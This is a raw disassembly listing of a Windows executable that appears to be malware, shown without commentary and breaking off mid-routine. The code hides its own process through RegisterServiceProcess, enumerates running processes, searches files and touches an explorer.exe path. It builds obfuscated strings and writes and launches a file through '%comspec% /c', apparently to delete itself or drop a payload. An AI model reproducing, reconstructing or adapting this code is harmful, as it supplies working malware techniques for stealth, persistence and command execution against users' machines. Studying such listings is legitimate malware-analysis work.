		call	near ptr 29F0000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D027


loc_40CFB0:				; CODE XREF: sub_40CF60+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D017
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40CFCA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D017
		cmp	al, 2Eh
		jz	short loc_40D017


loc_40CFCA:				; CODE XREF: sub_40CF60+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D017:				; CODE XREF: sub_40CF60+55j
					; sub_40CF60+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 29E0000h
		test	eax, eax
		jnz	short loc_40CFB0


loc_40D027:				; CODE XREF: sub_40CF60+4Ej
		push	ebx
		call	near ptr 29D068Ah
		nop
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 29F0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0BB


loc_40D068:				; CODE XREF: sub_40CF60+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 29E0000h
		test	eax, eax
		jnz	short loc_40D068


loc_40D0BB:				; CODE XREF: sub_40CF60+106j
		push	ebx
		nop
		call	near ptr 29D068Ah
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CF60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D130	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40D130	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D2E0:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 29F1D0Eh
		push	eax
		call	near ptr 29F12A3h
		nop
		mov	eax, dword_4470A0
		test	eax, eax
		jz	loc_40D403
		mov	ecx, dword_44709C
		test	ecx, ecx
		jz	loc_40D403
		mov	ecx, dword_446F68
		test	ecx, ecx
		jz	loc_40D403
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_447098, eax
		jz	loc_40D403
		push	ebp
		push	offset dword_446F70
		push	eax
		xor	ebp, ebp
		mov	dword_446F70, 128h
		call	dword_44709C	; Process32First
		test	eax, eax
		jz	loc_40D3EC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D36D:				; CODE XREF: ___:0040D3E7j
		mov	edi, offset dword_446F94
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446F94
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446F94
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D3D3
		mov	edi, offset dword_446F94
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446F94
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D3D4


loc_40D3D3:				; CODE XREF: ___:0040D3ABj
		inc	ebp


loc_40D3D4:				; CODE XREF: ___:0040D3D1j
		mov	eax, dword_447098
		push	offset dword_446F70
		push	eax
		call	dword_446F68	; Process32Next
		test	eax, eax
		jnz	short loc_40D36D
		pop	edi
		pop	esi
		pop	ebx


loc_40D3EC:				; CODE XREF: ___:0040D357j
		mov	ecx, dword_447098
		push	ecx
		call	near ptr 29B0989h
		nop
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D403:				; CODE XREF: ___:0040D306j
					; ___:0040D314j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D460:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2A00B37h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 2A006E6h
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2A00000h
		push	esi
		call	ebx


loc_40D526:				; CODE XREF: ___:0040D4C9j
					; ___:0040D50Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D580	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 2960961h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		nop
		call	near ptr 29F1D0Eh
		push	eax
		nop
		call	near ptr 29F12A3h
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	near ptr 2950856h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D671
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_4470A4, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_4470A0, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44709C, eax
		call	edi
		mov	dword_446F68, eax
		mov	eax, dword_4470A4
		test	eax, eax
		jz	short loc_40D671
		push	ebx
		push	0
		call	eax


loc_40D671:				; CODE XREF: sub_40D580+A7j
					; sub_40D580+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D6A8
		mov	al, byte_44718F
		test	al, al
		jz	short loc_40D6A8
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D6A8:				; CODE XREF: sub_40D580+10Dj
					; sub_40D580+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_40D580	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h
		dd 8D50FFFFh, 0A8248Ch,	28680000h, 5100443Bh, 0C90BE890h
		dd 3D8B001Dh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 5A270BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h
		dd 85D6FF50h, 0A0D074C0h, 4477EBh, 74C0845Dh, 0CC358B39h
		dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B20h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3EA0h,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	256266Ch, 874C085h, 0E890006Ah
		dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1,	0FF3875E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3861E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB10	proc near		; CODE XREF: sub_401195j
		mov	al, byte_447191
		test	al, al
		jz	short loc_40DB24
		push	offset word_447192
		nop
		call	near ptr 29607C2h


loc_40DB24:				; CODE XREF: sub_40DB10+7j
		mov	al, 1
		retn
sub_40DB10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB40	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DB40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		call	near ptr 29F1D0Eh
		nop
		push	eax
		nop
		call	near ptr 29F12A3h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 2940000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		call	sub_5EA1BD
		nop
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		call	near ptr 29D03E9h
		nop
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E0A1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4019B5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4019B5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		lea	edx, [esp+710h+var_6AC]
		push	edx
		call	sub_40102D
		add	esp, 34h
		lea	ecx, [esp+6E0h+var_64C]
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 2950000h
		push	esi
		nop
		call	near ptr 29B0989h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 29F1D0Eh
		push	eax
		nop
		call	near ptr 29F12A3h
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2980000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		lea	eax, [esp+6FCh+var_110]
		push	0
		push	eax
		push	0
		call	near ptr 2970000h
		nop
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E0A1:				; CODE XREF: sub_40DB40+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DB40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E220	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
